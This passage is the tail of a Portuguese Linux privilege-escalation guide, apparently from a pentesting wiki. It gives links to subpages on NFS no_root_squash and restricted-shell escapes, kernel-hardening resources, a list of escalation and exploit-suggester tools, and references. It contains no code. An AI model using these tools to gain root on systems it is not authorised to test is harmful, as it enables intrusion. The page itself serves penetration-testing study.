[aqui](https://www.linode.com/docs/quick-answers/linux-essentials/what-is-systemd/)). Arquivos que vêm em pacotes baixados do repositório de distribuição entram em `/usr/lib/systemd/`. Modificações feitas pelo administrador do sistema (usuário) entram em `/etc/systemd/system/`. ## Outros Truques ### Escalada de Privilégios NFS {% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} [nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md) {% endcontent-ref %} ### Escapando de Shells Restritos {% content-ref url="escaping-from-limited-bash.md" %} [escaping-from-limited-bash.md](escaping-from-limited-bash.md) {% endcontent-ref %} ### Cisco - vmanage {% content-ref url="cisco-vmanage.md" %} [cisco-vmanage.md](cisco-vmanage.md) {% endcontent-ref %} ## Proteções de Segurança do Kernel * [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) * [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) ## Mais ajuda [Binários estáticos do impacket](https://github.com/ropnop/impacket_static_binaries) ## Ferramentas de Escalada de Privilégios Linux/Unix ### **Melhor ferramenta para procurar vetores de escalada de privilégios locais no Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(opção -t)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ **Kernelpop:** Enumera vulnerabilidades do kernel no linux e MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (acesso físico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Compilação de mais scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Referências [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\ [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\ [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\ [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\ [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\ [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\ [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\ [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\ [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
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